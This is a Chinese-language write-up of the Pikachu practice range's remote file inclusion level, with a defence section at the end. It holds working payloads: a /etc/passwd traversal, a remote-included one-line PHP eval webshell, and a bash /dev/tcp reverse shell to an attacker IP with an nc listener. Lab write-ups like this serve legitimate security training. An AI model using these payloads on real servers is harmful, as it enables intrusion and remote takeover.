摘要 / 前言:
文件包含漏洞分为本地包含 (LFI) 和远程包含 (RFI)。RFI 允许攻击者包含并执行位于远程服务器(如攻击者搭建的 HTTP 服务器)上的文件。
相比于 LFI 往往需要配合文件上传或日志中毒,RFI 更加简单粗暴。但 RFI 对 PHP 环境配置有特殊要求,通常需要手动开启。
本次通关记录了从配置环境、验证漏洞,到利用远程文件获取 Webshell 和反弹 Shell 的进阶过程。
一、环境准备 (关键步骤)
在默认的 PHP 配置中,为了安全起见,远程包含功能是关闭的。做题前必须先检查并修改配置。
- 定位配置文件 :
根据 phpinfo 页面,找到Loaded Configuration File为/etc/php/7.3/apache2/php.ini。如果你不知道 php.ini 位置,可以去 rce 的 exec”eval” 关卡,输入phpinfo();就可以得到。 - 修改配置 :
进入容器修改php.ini,找到以下两项并确保为On:ini allow_url_fopen = On ; 默认通常开启allow_url_include = On ; 必须手动开启,否则无法包含远程文件 - 重启服务 :
修改后重启 Apache 服务 (service apache2 restart) 使配置生效。

二、漏洞验证过程
1. 基础验证:本地包含 (LFI)
在进行远程利用前,先测试本地包含以确保参数点没问题。
Payload:
include/../../../../etc/passwd
结果: 成功读取到 /etc/passwd 内容,确认 filename 参数存在包含漏洞。

2. 进阶利用:远程代码执行 (RFI PoC)
攻击者(我)在公网服务器准备了一个文本文件 phpinfo.txt,内容如下:
<?php
echo phpinfo();
echo "RFI Test Success";
?>
利用 URL:
http://localhost:8899/vul/fileinclude/fi_remote.php?filename=https://www.hzx123.xyz/phpinfo.txt&submit= 提交
结果:
Pikachu 靶场服务器成功请求了我的远程文件,并将其中的 PHP 代码在本地执行,页面显示了 PHPInfo 信息。
结论: 这代表一次成功的攻击!此时我们已经拥有了在目标服务器上执行任意 PHP 代码的能力。

三、深度利用:如何 GetShell?
既然能执行 phpinfo(),为了获得更具威胁的控制权,我们可以通过修改远程文件的内容来实现 Webshell 或 反弹 Shell。
方式一:挂载 Webshell (一句话木马)
修改远程服务器上的 phpinfo.txt (或者新建一个 shell.txt),内容改为:
<?php @eval($_POST['pass']); ?>
利用步骤:
- 在浏览器访问包含该文件的 URL。
- 使用 哥斯拉 (Godzilla) 连接该 URL。
- 密码:
pass。 - 效果:直接获得目标服务器的文件管理、终端执行权限。

方式二:反弹交互式 Shell (Reverse Shell)
如果想像之前的 RCE 题目一样,直接弹一个 Shell 到 Kali 终端,操作如下:
- 修改远程文件 :
将https://www.hzx123.xyz/phpinfo.txt的内容修改为反弹 Shell 代码(注意 IP 是 Kali/ 监听机 IP): 假设攻击机监听 IP 为 192.168.93.129,端口 5566。<?php system("bash -c'bash -i >& /dev/tcp/192.168.93.129/5566 0>&1'"); ?> - 攻击机监听 :
在 Kali 中启动 Netcat:nc -lvp 5566 - 触发漏洞 :
再次刷新靶场的包含链接:http://localhost:8899/vul/fileinclude/fi_remote.php?filename=https://www.hzx123.xyz/phpinfo.txt&submit= 提交 - 成功获取 Shell:
浏览器会处于加载转圈状态,而 Kali 终端会瞬间收到反弹回来的 Shell 提示符www-data@...$。

四、总结与防御
RFI 的危害:
RFI 几乎等同于 RCE。只要服务器允许远程包含,攻击者就可以让服务器执行互联网上任意位置的恶意代码,无需绕过文件上传的后缀限制。
防御措施:
- 核心防御:在
php.ini中严格设置allow_url_include = Off(现代 PHP 版本默认为 Off)。 - 代码防御:
- 避免直接将用户输入作为文件名传入
include/require。 - 使用白名单校验机制,只允许包含指定的文件。
php $files = ['file1.php', 'file2.php']; if (in_array($_GET['filename'], $files)) {include $_GET['filename']; }
- 避免直接将用户输入作为文件名传入